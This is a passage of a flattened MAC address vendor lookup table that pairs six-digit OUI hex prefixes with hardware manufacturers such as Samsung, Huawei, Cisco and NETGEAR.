Aruba Networks 90F052 MEIZU Technology Co., Ltd. 000E1E QLogic Corporation D8EB97 TRENDnet, Inc. 146102 Alpine Electronics, Inc. 9003B7 PARROT SA 0CFE45 Sony Interactive Entertainment Inc. F8D0AC Sony Interactive Entertainment Inc. 00D9D1 Sony Interactive Entertainment Inc. 00041F Sony Interactive Entertainment Inc. 001D0D Sony Interactive Entertainment Inc. 7CC709 SHENZHEN RF-LINK TECHNOLOGY CO.,LTD. 38B8EB IEEE Registration Authority 38FDFE IEEE Registration Authority 7C477C IEEE Registration Authority 50FF99 IEEE Registration Authority 6891D0 IEEE Registration Authority 283638 IEEE Registration Authority 2C6A6F IEEE Registration Authority BC3400 IEEE Registration Authority B437D1 IEEE Registration Authority D455BE SHENZHEN FAST TECHNOLOGIES CO.,LTD F40E11 IEEE Registration Authority A43BFA IEEE Registration Authority CC1BE0 IEEE Registration Authority 807B85 IEEE Registration Authority 549A11 IEEE Registration Authority B8D812 IEEE Registration Authority 1CCAE3 IEEE Registration Authority 7419F8 IEEE Registration Authority 1C21D1 IEEE Registration Authority 80E4DA IEEE Registration Authority 2CD141 IEEE Registration Authority 8CA6DF TP-LINK TECHNOLOGIES CO.,LTD. 00E091 LG Electronics 6CD032 LG Electronics C041F6 LG ELECTRONICS INC 404AD4 Widex A/S 0022CF PLANEX COMMUNICATIONS INC. A84E3F Hitron Technologies. Inc 00A742 Cisco Systems, Inc 001478 TP-LINK TECHNOLOGIES CO.,LTD. 00167A Skyworth Overseas Development Ltd. 28BE03 TCT mobile ltd F4C613 Alcatel-Lucent Shanghai Bell Co., Ltd D826B9 Guangdong Coagent Electronics S&T Co.,Ltd. FCB0C4 Shanghai DareGlobal Technologies Co.,Ltd 24AF4A Alcatel-Lucent IPD 001AF0 Alcatel-Lucent IPD AC9CE4 Alcatel-Lucent Shanghai Bell Co., Ltd D84710 Sichuan Changhong Electric Ltd. 000E40 Nortel Networks 001158 Nortel Networks 0011F9 Nortel Networks 000F6A Nortel Networks 001283 Nortel Networks 000438 Nortel Networks 002347 ProCurve Networking by HP 002561 ProCurve Networking by HP 008058 PRINTER SYSTEMS CORP. 00140D Nortel Networks 001765 Nortel Networks 0018B0 Nortel Networks 001B25 Nortel Networks 001DAF Nortel Networks 00166D Yulong Computer Telecommunication Scientific (Shenzhen) Co.,Ltd 0016F2 Dmobile System Co., Ltd. 000138 XAVi Technologies Corp. 3C9157 Yulong Computer Telecommunication Scientific (Shenzhen) Co.,Ltd 0000D8 Novell, Inc. 001087 XSTREAMIS PLC 7C0623 Ultra Electronics Sonar System Division 002555 Visonic Technologies 1993 Ltd. 48FD8E HUAWEI TECHNOLOGIES CO.,LTD 244427 HUAWEI TECHNOLOGIES CO.,LTD B4A984 Symantec Corporation 34074F AccelStor, Inc. 58E876 IEEE Registration Authority 248A07 Mellanox Technologies, Inc. 00258B Mellanox Technologies, Inc. 3C2DB7 Texas Instruments 0023D4 Texas Instruments 001831 Texas Instruments D08CB5 Texas Instruments B4EED4 Texas Instruments CC8CE3 Texas Instruments 102EAF Texas Instruments 647BD4 Texas Instruments 0017E8 Texas Instruments 0017E6 Texas Instruments B0B448 Texas Instruments 505663 Texas Instruments 3C7DB1 Texas Instruments 40984E Texas Instruments 0012D1 Texas Instruments 88C255 Texas Instruments E0C79D Texas Instruments 9059AF Texas Instruments B4994C Texas Instruments 70FF76 Texas Instruments 507224 Texas Instruments 506583 Texas Instruments BC282C e-Smart Systems Pvt. Ltd 546C0E Texas Instruments D8E72B NetScout Systems, Inc. 04FEA1 Fihonest communication co.,Ltd 2CAC44 CONEXTOP A8BD27 Hewlett Packard Enterprise 981E0F Jeelan (Shanghai Jeelan Technology Information Inc 548CA0 Liteon Technology Corporation 001CA8 AirTies Wireless Networks 0017D5 Samsung Electronics Co.,Ltd 001247 Samsung Electronics Co.,Ltd E4121D Samsung Electronics Co.,Ltd 684898 Samsung Electronics Co.,Ltd F409D8 SAMSUNG ELECTRO-MECHANICS(THAILAND) B479A7 SAMSUNG ELECTRO-MECHANICS(THAILAND) 002339 Samsung Electronics Co.,Ltd D487D8 Samsung Electronics Co.,Ltd 184617 Samsung Electronics Co.,Ltd 5001BB Samsung Electronics Co.,Ltd 380A94 Samsung Electronics Co.,Ltd D857EF Samsung Electronics Co.,Ltd 1C66AA Samsung Electronics Co.,Ltd 58C38B Samsung Electronics Co.,Ltd 001EE2 Samsung Electronics Co.,Ltd 001C43 Samsung Electronics Co.,Ltd 001D25 Samsung Electronics Co.,Ltd 3C5A37 Samsung Electronics Co.,Ltd 549B12 Samsung Electronics Co.,Ltd 3C8BFE Samsung Electronics Co.,Ltd 00265D Samsung Electronics Co.,Ltd D4E8B2 Samsung Electronics Co.,Ltd 0808C2 Samsung Electronics Co.,Ltd B0C4E7 Samsung Electronics Co.,Ltd D890E8 Samsung Electronics Co.,Ltd 34AA8B Samsung Electronics Co.,Ltd 24C696 Samsung Electronics Co.,Ltd 181EB0 Samsung Electronics Co.,Ltd 20D390 Samsung Electronics Co.,Ltd 343111 Samsung Electronics Co.,Ltd 34BE00 Samsung Electronics Co.,Ltd 78521A Samsung Electronics Co.,Ltd 18D276 HUAWEI TECHNOLOGIES CO.,LTD 7825AD Samsung Electronics Co.,Ltd F4D9FB Samsung Electronics Co.,Ltd 0017C9 Samsung Electronics Co.,Ltd 00166B Samsung Electronics Co.,Ltd 00166C Samsung Electronics Co.,Ltd E47CF9 Samsung Electronics Co.,Ltd 90187C SAMSUNG ELECTRO MECHANICS CO., LTD. FC1F19 SAMSUNG ELECTRO MECHANICS CO., LTD. 50CCF8 SAMSUNG ELECTRO MECHANICS CO., LTD. 980C82 SAMSUNG ELECTRO MECHANICS CO., LTD. 002119 SAMSUNG ELECTRO MECHANICS CO., LTD. 002454 Samsung Electronics Co.,Ltd 20D5BF Samsung Electronics Co.,Ltd 30CDA7 Samsung Electronics Co.,Ltd 5C0A5B SAMSUNG ELECTRO MECHANICS CO., LTD. 543530 Hon Hai Precision Ind. Co.,Ltd. 300ED5 Hon Hai Precision Ind. Co.,Ltd. D02788 Hon Hai Precision Ind. Co.,Ltd. 0014A4 Hon Hai Precision Ind. Co.,Ltd. 0016CE Hon Hai Precision Ind. Co.,Ltd. 001DD9 Hon Hai Precision Ind. Co.,Ltd. 001FE2 Hon Hai Precision Ind. Co.,Ltd. 002269 Hon Hai Precision Ind. Co.,Ltd. 40490F Hon Hai Precision Ind. Co.,Ltd. 28565A Hon Hai Precision Ind. Co.,Ltd. 001F3A Hon Hai Precision Ind. Co.,Ltd. 506313 Hon Hai Precision Ind. Co.,Ltd. 78E400 Hon Hai Precision Ind. Co.,Ltd. 8C7CB5 Hon Hai Precision Ind. Co.,Ltd. EC55F9 Hon Hai Precision Ind. Co.,Ltd. C03896 Hon Hai Precision Ind. Co.,Ltd. 2C337A Hon Hai Precision Ind. Co.,Ltd. ACD1B8 Hon Hai Precision Ind. Co.,Ltd. 48E244 Hon Hai Precision Ind. Co.,Ltd. 30F772 Hon Hai Precision Ind. Co.,Ltd. 90489A Hon Hai Precision Ind. Co.,Ltd. 9439E5 Hon Hai Precision Ind. Co.,Ltd. 5C8613 Beijing Zhoenet Technology Co., Ltd C8B21E CHIPSEA TECHNOLOGIES (SHENZHEN) CORP. 503F98 CMITECH B072BF Murata Manufacturing Co., Ltd. 600B03 Hangzhou H3C Technologies Co., Limited A41437 Hangzhou Hikvision Digital Technology Co.,Ltd. 884CCF Pulzze Systems, Inc 38521A Nokia 84DBFC Nokia 143E60 Nokia D4E33F Nokia 5454CF PROBEDIGITAL CO.,LTD F0D5BF Intel Corporate C87E75 Samsung Electronics Co.,Ltd 00233A Samsung Electronics Co.,Ltd 1C9D3E Integrated Device Technology (Malaysia) Sdn. Bhd. 748A69 Korea Image Technology Co., Ltd 30B64F Juniper Networks DC0D30 Shenzhen Feasycom Technology Co., Ltd. 008731 Cisco Systems, Inc B4EFFA Lemobile Information Technology (Beijing) Co., Ltd. 9495A0 Google, Inc. 0005EE Vanderbilt International (SWE) AB 38D547 ASUSTek COMPUTER INC. 383A21 IEEE Registration Authority 4CF95D HUAWEI TECHNOLOGIES CO.,LTD 8421F1 HUAWEI TECHNOLOGIES CO.,LTD 707990 HUAWEI TECHNOLOGIES CO.,LTD CCFD17 TCT mobile ltd 3C8BCD Alcatel-Lucent Shanghai Bell Co., Ltd E43ED7 Arcadyan Corporation 248894 shenzhen lensun Communication Technology LTD 60A4D0 Samsung Electronics Co.,Ltd 00B0CE Viveris Technologies E00DB9 Cree, Inc. 40FE0D MAXIO 9840BB Dell Inc. E04FBD SICHUAN TIANYI COMHEART TELECOMCO.,LTD 00B0E1 Cisco Systems, Inc 0006F4 Prime Electronics & Satellitics Inc. ACE77B SICHUAN TIANYI COMHEART TELECOMCO.,LTD 24A43C Ubiquiti Networks Inc. D4E90B CVT CO.,LTD 788A20 Ubiquiti Networks Inc. 28EE52 TP-LINK TECHNOLOGIES CO.,LTD. 905C44 Compal Broadband Networks, Inc. FC372B SICHUAN TIANYI COMHEART TELECOMCO.,LTD 0CD86C SHENZHEN FAST TECHNOLOGIES CO.,LTD 4CE173 IEEE Registration Authority 8C60E7 MPGIO CO.,LTD 2C0E3D SAMSUNG ELECTRO-MECHANICS(THAILAND) 24C44A zte corporation B83A9D Alarm.com 00BBC1 CANON INC. 1C14B3 Airwire Technologies 2CC260 Oracle Corporation 407183 Juniper Networks 0059DC Cisco Systems, Inc 1CC0E1 IEEE Registration Authority 00749C Ruijie Networks Co.,LTD 00271C MERCURY CORPORATION E0D9E3 Eltex Enterprise Ltd. 5098F3 Rheem Australia Pty Ltd 701CE7 Intel Corporate CC9470 Kinestral Technologies, Inc. F0219D Cal-Comp Electronics & Communications Company Ltd. 000B2E Cal-Comp Electronics & Communications Company Ltd. 885BDD Aerohive Networks Inc. 08EA44 Aerohive Networks Inc. 506B8D Nutanix 0038DF Cisco Systems, Inc 006BF1 Cisco Systems, Inc 20D25F SmartCap Technologies 3CFA43 HUAWEI TECHNOLOGIES CO.,LTD 145F94 HUAWEI TECHNOLOGIES CO.,LTD 4C11BF Zhejiang Dahua Technology Co., Ltd. EC0D9A Mellanox Technologies, Inc. 000064 Yokogawa Digital Computer Corporation 0023F7 Private 90D7BE Wavelab Global Inc. 686975 Angler Labs Inc 002448 SpiderCloud Wireless, Inc 7C03C9 Shenzhen YOUHUA Technology Co., Ltd 64DB43 Motorola (Wuhan) Mobility Technologies Communication Co., Ltd. D058A8 zte corporation D071C4 zte corporation 48F07B ALPS ELECTRIC CO.,LTD. 3C80AA Ransnet Singapore Pte Ltd 7CEBAE Ridgeline Instruments E89EB4 Hon Hai Precision Ind. Co.,Ltd. D4970B Xiaomi Communications Co Ltd 64CC2E Xiaomi Communications Co Ltd B0E235 Xiaomi Communications Co Ltd 38A4ED Xiaomi Communications Co Ltd F48B32 Xiaomi Communications Co Ltd 0060BD Enginuity Communications AC83F3 AMPAK Technology, Inc. 18DBF2 Dell Inc. 000048 Seiko Epson Corporation C0BFC0 HUAWEI TECHNOLOGIES CO.,LTD A08CF8 HUAWEI TECHNOLOGIES CO.,LTD 54B56C Xi'an NovaStar Tech Co., Ltd FC3CE9 Tsingtong Technologies Co, Ltd. 04B648 ZENNER FC10C6 Taicang T&W Electronics 344CC8 Echodyne Corp 948FEE Verizon Telematics 5C4A1F SICHUAN TIANYI COMHEART TELECOMCO., LTD 0C8DDB Cisco Meraki B0F963 Hangzhou H3C Technologies Co., Limited 98B6E9 Nintendo Co.,Ltd 8809AF Masimo Corporation 00E06C Ultra Electronics Command & Control Systems 009058 Ultra Electronics Command & Control Systems F8983A Leeman International (HongKong) Limited 4CECEF Soraa, Inc. 702D84 i4C Innovations CC9F7A Chiun Mai Communication Systems, Inc 446246 Comat AG C8AA55 Hunan Comtom Electronic Incorporated Co.,Ltd 142FFD LT SECURITY INC 000D2C Net2Edge Limited ECE154 Beijing Unisound Information Technology Co.,Ltd. 60C658 PHYTRONIX Co.,Ltd. 38454C Light Labs, Inc. C894BB HUAWEI TECHNOLOGIES CO.,LTD D0FF98 HUAWEI TECHNOLOGIES CO.,LTD 5004B8 HUAWEI TECHNOLOGIES CO.,LTD 10B1F8 HUAWEI TECHNOLOGIES CO.,LTD 14ABC5 Intel Corporate A462DF DS Global. Co., LTD 50D213 CviLux Corporation 44D437 Inteno Broadband Technology AB 78AF58 GIMASI SA 00071C AT&T 2C9AA4 Eolo SpA 002183 ANDRITZ HYDRO GmbH 8404D2 Kirale Technologies SL 083E5D Sagemcom Broadband SAS 749CE3 KodaCloud Canada, Inc CC2D21 Tenda Technology Co.,Ltd.Dongguan branch 8C78D7 SHENZHEN FAST TECHNOLOGIES CO.,LTD 3CBD3E Beijing Xiaomi Electronics Co., Ltd. 2C4D54 ASUSTek COMPUTER INC. 349672 TP-LINK TECHNOLOGIES CO.,LTD. 00179B CHANT SINCERE CO.,LTD 080027 PCS Systemtechnik GmbH 348446 Ericsson AB A4A1C2 Ericsson AB B0F1EC AMPAK Technology, Inc. B0C46C Senseit 148951 LCFC(HeFei) Electronics Technology co., ltd F87588 HUAWEI TECHNOLOGIES CO.,LTD BC3F8F HUAWEI TECHNOLOGIES CO.,LTD 04DEF2 Shenzhen ECOM Technology Co. Ltd 00D071 ECHELON CORP. 0030C5 CADENCE DESIGN SYSTEMS, INC. 504061 Nokia 54E3F6 Alcatel-Lucent B0C205 BIONIME 0C61CF Texas Instruments 7C2664 Sagemcom Broadband SAS E47DEB Shanghai Notion Information Technology CO.,LTD. A002DC Amazon Technologies Inc. 0C47C9 Amazon Technologies Inc. 747548 Amazon Technologies Inc. AC63BE Amazon Technologies Inc. 40FA7F Preh Car Connect GmbH F8AB05 Sagemcom Broadband SAS C0028D WINSTAR Display CO.,Ltd D83214 Tenda Technology Co.,Ltd.Dongguan branch 7C787E Samsung Electronics Co.,Ltd C0D3C0 Samsung Electronics Co.,Ltd F097E5 TAMIO, INC F4E4AD zte corporation F85971 Intel Corporate F49634 Intel Corporate 144FD7 IEEE Registration Authority 6C4B90 LiteON F8FF0B Electronic Technology Inc. 38F135 SensorTec-Canada 90F305 HUMAX Co., Ltd. 00093A Molex 98AAFC IEEE Registration Authority B8D50B Sunitec Enterprise Co.,Ltd 28A6DB HUAWEI TECHNOLOGIES CO.,LTD C8F86D Alcatel-Lucent Shanghai Bell Co., Ltd D45F25 Shenzhen YOUHUA Technology Co., Ltd 9CE951 Shenzhen Sang Fei Consumer Communications Ltd., Co. DC0856 Alcatel-Lucent Enterprise E8FDE8 CeLa Link Corporation 181212 Cepton Technologies 08ED02 IEEE Registration Authority B4417A SHENZHEN GONGJIN ELECTRONICS CO.,LT F4DE0C ESPOD Ltd. BC8AE8 QING DAO HAIER TELECOM CO.,LTD. 440444 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD C09F05 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD CC2D83 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 38295A GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 4C1A3D GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD A81B5A GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD DC6DCD GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 70D379 Cisco Systems, Inc 7C4F7D Sawwave 185207 SICHUAN TIANYI COMHEART TELECOMCO., LTD 9874DA Infinix mobility limited 143F27 Noccela Oy 64351C e-CON SYSTEMS INDIA PVT LTD 0CB912 JM-DATA GmbH 1893D7 Texas Instruments EC363F Markov Corporation 54FA3E Samsung Electronics Co.,Ltd 0C8910 Samsung Electronics Co.,Ltd FCF136 Samsung Electronics Co.,Ltd 981DFA Samsung Electronics Co.,Ltd 84A466 Samsung Electronics Co.,Ltd 1867B0 Samsung Electronics Co.,Ltd CCB11A Samsung Electronics Co.,Ltd B8BBAF Samsung Electronics Co.,Ltd 60C5AD Samsung Electronics Co.,Ltd 28395E Samsung Electronics Co.,Ltd C4AE12 Samsung Electronics Co.,Ltd 10D07A AMPAK Technology, Inc. 80B234 Technicolor CH USA Inc. B877C3 METER Group F07485 NGD Systems, Inc. 2C3AE8 Espressif Inc. DC74A8 Samsung Electronics Co.,Ltd C087EB Samsung Electronics Co.,Ltd E8B6C2 Juniper Networks 74F61C HTC Corporation 3438B7 HUMAX Co., Ltd. 5C1A6F Cambridge Industries(Group) Co.,Ltd. B089C2 Zyptonite F0D4F6 Lars Thrane A/S 487D2E TP-LINK TECHNOLOGIES CO.,LTD. 0403D6 Nintendo Co.,Ltd A0AFBD Intel Corporate 34D954 WiBotic Inc. 6C60EB ZHI YUAN ELECTRONICS CO., LIMITED AC4E2E Shenzhen JingHanDa Electronics Co.Ltd B40016INGENICO TERMINALS SAS 0027E3 Cisco Systems, Inc A0341B TrackR, Inc FCA667 Amazon Technologies Inc. 784501 Biamp Systems 488D36 Arcadyan Corporation 986F60 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 4C189A GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD E45D52 Avaya Inc 38BB3C Avaya Inc C057BC Avaya Inc D47856 Avaya Inc 14612F Avaya Inc 707C69 Avaya Inc A47886 Avaya Inc 44322A Avaya Inc 048A15 Avaya Inc 6CA849 Avaya Inc A4251B Avaya Inc 00040D Avaya Inc FC8399 Avaya Inc 60313B Sunnovo International Limited 001CFA Alarm.com B4E62A LG Innotek E45AA2 vivo Mobile Communication Co., Ltd. ECDF3A vivo Mobile Communication Co., Ltd. F470AB vivo Mobile Communication Co., Ltd. 50184C Platina Systems Inc. CC4639 WAAV, Inc. E4A749 Palo Alto Networks 786D94 Palo Alto Networks 30B164 Power Electronics International Inc. 18B430 Nest Labs Inc. 3CF591 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 602101 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 604762 Beijing Sensoro Technology Co.,Ltd. 7CE2CA Juniper Networks B0DFC1 Tenda Technology Co.,Ltd.Dongguan branch 70788B vivo Mobile Communication Co., Ltd. 7065A3 Kandao lightforge Co., Ltd. 706E6D Cisco Systems, Inc 001DCC Ayon Cyber Security, Inc FC2F6B Everspin Technologies, Inc. 2CC5D3 Ruckus Wireless F8E71E Ruckus Wireless 1CB9C4 Ruckus Wireless C0C520 Ruckus Wireless B4C170 Yi chip Microelectronics (Hangzhou) Co., Ltd 540237 Teltronic AG A89675 Motorola Mobility LLC, a Lenovo Company 94F128 Hewlett Packard Enterprise A47B9D Espressif Inc. 608E08 Samsung Electronics Co.,Ltd 7C2EDD Samsung Electronics Co.,Ltd 3CF7A4 Samsung Electronics Co.,Ltd 342D0D Samsung Electronics Co.,Ltd 94FBB2 SHENZHEN GONGJIN ELECTRONICS CO.,LT EC3DFD SHENZHEN BILIAN ELECTRONIC CO.,LTD 18742E Amazon Technologies Inc. 001885 Avigilon Corporation 8886C2 STABILO International GmbH 04FA3F Opticore Inc. 94D029 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 308454 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD FC7F56 CoSyst Control Systems GmbH 8C2505 HUAWEI TECHNOLOGIES CO.,LTD 4C49E3 Xiaomi Communications Co Ltd 28D436 Jiangsu dewosi electric co., LTD 149346 PNI sensor corporation 00C064 General Datacomm LLC 601283 TSB REAL TIME LOCATION SYSTEMS S.L. E06089 Cloudleaf, Inc. 001219 General Datacomm LLC BC54FC SHENZHEN MERCURY COMMUNICATION TECHNOLOGIES CO.,LTD. 547595 TP-LINK TECHNOLOGIES CO.,LTD. 28F537 IEEE Registration Authority 18BC5A Zhejiang Tmall Technology Co., Ltd. 00869C Palo Alto Networks 00139D MaxLinear Hispania S.L.U. 4C16FC Juniper Networks 748EF8 Brocade Communications Systems, Inc. 48C1AC PLANTRONICS, INC. 0CE0E4 PLANTRONICS, INC. 000389 PLANTRONICS, INC. E422A5 PLANTRONICS, INC. 609C9F Brocade Communications Systems, Inc. 000088 Brocade Communications Systems, Inc. 000480 Brocade Communications Systems, Inc. 00E052 Brocade Communications Systems, Inc. 100D7F NETGEAR 6CB0CE NETGEAR 506A03 NETGEAR B07FB9 NETGEAR 08028E NETGEAR 001F33 NETGEAR C03F0E NETGEAR 0024B2 NETGEAR 204E7F NETGEAR 841B5E NETGEAR A021B7 NETGEAR 74E60F TECNO MOBILE LIMITED D8C497 Quanta Computer Inc. 444E6D AVM Audiovisuelles Marketing und Computersysteme GmbH 409922 AzureWave Technology Inc. B8DB1C Integrated Device Technology (Malaysia) Sdn. Bhd. 3C10E6 PHAZR Inc. B80B9D ROPEX Industrie-Elektronik GmbH 001526 Remote Technologies Inc 34008A IEEE Registration Authority 00D060 Panasonic Europe Ltd. 001987 Panasonic Mobile Communications Co.,Ltd. BCC342 Panasonic Communications Co., Ltd. 705812 Panasonic Corporation AVC Networks Company CC7EE7 Panasonic Corporation AVC Networks Company 84253F silex technology, Inc. 40D63C Equitech Industrial(DongGuan)Co.,Ltd 40017A Cisco Systems, Inc FC017C Hon Hai Precision Ind. Co.,Ltd. 28840E silicon valley immigration service 00C0EE KYOCERA Display Corporation CC5A53 Cisco Systems, Inc 940006 jinyoung 5C6776 IDS Imaging Development Systems GmbH A875E2 Aventura Technologies, Inc. DC0C2D WEIFANG GOERTEK ELECTRONICS CO.,LTD 904E91 IEEE Registration Authority 2C279E IEEE Registration Authority 38D620 Limidea Concept Pte. Ltd. 00173A Cloudastructure Inc 745C4B GN Audio A/S 64FB50 RoomReady/Zdi, Inc. 5C2BF5 Vivint Wireless Inc. 00FC8B Amazon Technologies Inc. 10F163 TNK CO.,LTD 940E6B HUAWEI TECHNOLOGIES CO.,LTD 38378B HUAWEI TECHNOLOGIES CO.,LTD 98F5A9 OHSUNG CC2237 IEEE Registration Authority 5033F0 YICHEN (SHENZHEN) TECHNOLOGY CO.LTD C850E9 Raisecom Technology CO., LTD 90FD9F Silicon Laboratories 50F722 Cisco Systems, Inc BC4101 Shenzhen TINNO Mobile Technology Corp. 5C8D2D Shanghai Wellpay Information Technology Co., Ltd BC825D MITSUMI ELECTRIC CO.,LTD. 5CA176 SICHUAN TIANYI COMHEART TELECOMCO., LTD C8E7F0 Juniper Networks 24F5A2 Belkin International Inc. 087808 Samsung Electronics Co.,Ltd D03169 Samsung Electronics Co.,Ltd BC5451 Samsung Electronics Co.,Ltd 741AE0 IEEE Registration Authority BCC31B Kygo Life AS FCD6BD Robert Bosch GmbH 782D7E TRENDnet, Inc. 28AD3E Shenzhen TONG BO WEI Technology CO.,LTD B06EBF ASUSTek COMPUTER INC. 48BA4E Hewlett Packard FC65DE Amazon Technologies Inc. F092B4 SICHUAN TIANYI COMHEART TELECOMCO., LTD 707D95 Shenzhen City LinwlanTechnology Co. Ltd. 28D93E Telecor Inc. 8C0F83 Angie Hospitality LLC 0050FC Edimax Technology Co. Ltd. 7483EF Arista Networks 001C73 Arista Networks 38AD8E New H3C Technologies Co., Ltd 001248 Dell EMC 000144 Dell EMC 00BF61 Samsung Electronics Co.,Ltd 309FFB Ardomus Networks Corporation E4BD4B zte corporation 6C5697 Amazon Technologies Inc. 3CA581 vivo Mobile Communication Co., Ltd. F4EAB5 Aerohive Networks Inc. F82055 Green Information System 785C28 Prime Motion Inc. 944996 WiSilica Inc 0026A8 DAEHAP HYPER-TECH F87B20 Cisco Systems, Inc F81D0F Hitron Technologies. Inc 30FB94 Shanghai Fangzhiwei Information Technology CO.,Ltd. 08BA22 Swaive Corporation F80CF3 LG Electronics (Mobile Communications) 30766F LG Electronics (Mobile Communications) 8C3AE3 LG Electronics (Mobile Communications) 942A3F Diversey Inc 78F882 LG Electronics (Mobile Communications) 0C6111 Anda Technologies SAC B8F74A RCNTEC C8D12A Comtrend Corporation B4F1DA LG Electronics (Mobile Communications) 0021FB LG Electronics (Mobile Communications) D013FD LG Electronics (Mobile Communications) A8B86E LG Electronics (Mobile Communications) DC4F22 Espressif Inc. 342AF1 Texas Instruments 70E56E Texas Instruments F085C1 SHENZHEN RF-LINK TECHNOLOGY CO.,LTD. C8DEC9 Coriant 380E4D Cisco Systems, Inc FC9DD8 Beijing TongTongYiLian Science and Technology Ltd. 04B167 Xiaomi Communications Co Ltd 38ADBE New H3C Technologies Co., Ltd 207852 Nokia AC6417 Siemens AG - Industrial Automation - EWA CC5D4E Zyxel Communications Corporation 404A03 Zyxel Communications Corporation 001349 Zyxel Communications Corporation 1C740D Zyxel Communications Corporation A0E4CB Zyxel Communications Corporation 5C6A80 Zyxel Communications Corporation 5CE28C Zyxel Communications Corporation A8EEC6 Muuselabs NV/SA A09DC1 China Dragon Technology Limited 38437D Compal Broadband Networks, Inc. 5C86C1 DONGGUAN SOLUM ELECTRONICS CO.,LTD 6CDD30 Cisco Systems, Inc 00806C Secure Systems & Services 000261 Tilgin AB ACE2D3 Hewlett Packard 282FC2 Automotive Data Solutions 001D38 Seagate Technology 683E02 SIEMENS AG, Digital Factory, Motion Control System 34E380 Genexis B.V. 2CB21A Phicomm (Shanghai) Co., Ltd. CC81DA Phicomm (Shanghai) Co., Ltd. B80716 vivo Mobile Communication Co., Ltd. C8DF84 Texas Instruments 5C0E8B Extreme Networks, Inc. B4C799 Extreme Networks, Inc. 7467F7 Extreme Networks, Inc. 980074 Raisecom Technology CO., LTD 18C19D Integrated Device Technology (Malaysia) Sdn. Bhd. 00E02B Extreme Networks, Inc. A486AE Quectel Wireless Solutions 702605 SONY Visual Products Inc. 5C5F67 Intel Corporate 7C7635 Intel Corporate DC48B2 Baraja Pty. Ltd. 000123 Schneider Electric Japan Holdings Ltd. D86375 Xiaomi Communications Co Ltd DCBFE9 Motorola Mobility LLC, a Lenovo Company 2C37C5 Qingdao Haier Intelligent Home Appliance Technology Co.,Ltd 7495EC ALPS ELECTRIC CO.,LTD. 185282 Fiberhome Telecommunication Technologies Co.,LTD 18D225 Fiberhome Telecommunication Technologies Co.,LTD 0402CA Shenzhen Vtsonic Co.,ltd 306A85 Samsung Electronics Co.,Ltd E4F14C Private 341A35 Fiberhome Telecommunication Technologies Co.,LTD 6CA858 Fiberhome Telecommunication Technologies Co.,LTD 74CC39 Fiberhome Telecommunication Technologies Co.,LTD FCF647 Fiberhome Telecommunication Technologies Co.,LTD 1088CE Fiberhome Telecommunication Technologies Co.,LTD BC9889 Fiberhome Telecommunication Technologies Co.,LTD E42F26 Fiberhome Telecommunication Technologies Co.,LTD 344B3D Fiberhome Telecommunication Technologies Co.,LTD 70B921 Fiberhome Telecommunication Technologies Co.,LTD 74E19A Fiberhome Telecommunication Technologies Co.,LTD 948DEF Oetiker Schweiz AG 74721E Edison Labs Inc. A8367A frogblue TECHNOLOGY GmbH 144E34 Remote Solution EC65CC Panasonic Automotive Systems Company of America DC4EF4 Shenzhen MTN Electronics CO., Ltd 40CD7A Qingdao Hisense Communications Co.,Ltd. 7CA177 HUAWEI TECHNOLOGIES CO.,LTD E40EEE HUAWEI TECHNOLOGIES CO.,LTD 2047DA Xiaomi Communications Co Ltd 101D51 8Mesh Networks Limited 8035C1 Xiaomi Communications Co Ltd 78B6EC Scuf Gaming International LLC 0025D4 General Dynamics Mission Systems D076E7 TP-LINK TECHNOLOGIES CO.,LTD. DC2919 AltoBeam (Xiamen) Technology Ltd, Co. 00583F PC Aquarius F09CD7 Guangzhou Blue Cheetah Intelligent Technology Co., Ltd. 00200E NSSLGlobal Technologies AS E0383F zte corporation 00250C Senet Inc DC330D QING DAO HAIER TELECOM CO.,LTD. E83EFC ARRIS Group, Inc. E8892C ARRIS Group, Inc. 001DD3 ARRIS Group, Inc. 0015D1 ARRIS Group, Inc. 3CDFA9 ARRIS Group, Inc. 8C09F4 ARRIS Group, Inc. 083E0C ARRIS Group, Inc. 446AB7 ARRIS Group, Inc. D404CD ARRIS Group, Inc. 105611 ARRIS Group, Inc. 2C9924 ARRIS Group, Inc. 6455B1 ARRIS Group, Inc. C005C2 ARRIS Group, Inc. 203D66 ARRIS Group, Inc. 40F04E Integrated Device Technology (Malaysia) Sdn. Bhd. 58DB15 TECNO MOBILE LIMITED 4466FC GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 3835FB Sagemcom Broadband SAS 0000A8 Stratus Technologies 0004FC Stratus Technologies 00CBB4 SHENZHEN ATEKO PHOTOELECTRICITY CO.,LTD 7079B3 Cisco Systems, Inc 0CB34F Shenzhen Xiaoqi Intelligent Technology Co., Ltd. F04CD5 Maxlinear, Inc BC9911 Zyxel Communications Corporation 280245 Konze System Technology Co.,Ltd. 8C1CDA IEEE Registration Authority E8D099 Fiberhome Telecommunication Technologies Co.,LTD D0B214 PoeWit Inc 0847D0 Nokia Shanghai Bell Co. Ltd.) 1869DA China Mobile Group Device Co.,Ltd. 60D21C Sunnovo International Limited A492CB Nokia DCB4AC FLEXTRONICS MANUFACTURING(ZHUHAI)CO.,LTD. 5CCD7C MEIZU Technology Co.,Ltd. A87D12 HUAWEI TECHNOLOGIES CO.,LTD C0F4E6 HUAWEI TECHNOLOGIES CO.,LTD 2C4835 IEEE Registration Authority D460E3 Sercomm Corporation. 00C002 Sercomm Corporation. E06066 Sercomm Corporation. A41566 WEIFANG GOERTEK ELECTRONICS CO.,LTD FCA621 Samsung Electronics Co.,Ltd 60D02C Ruckus Wireless 0009DF Vestel Elektronik San ve Tic. A.Ş. BC5FF6 MERCURY COMMUNICATION TECHNOLOGIES CO.,LTD. 8CF228 MERCURY COMMUNICATION TECHNOLOGIES CO.,LTD. 0080B6 Mercury Systems – Trusted Mission Solutions, Inc. C8778B Mercury Systems – Trusted Mission 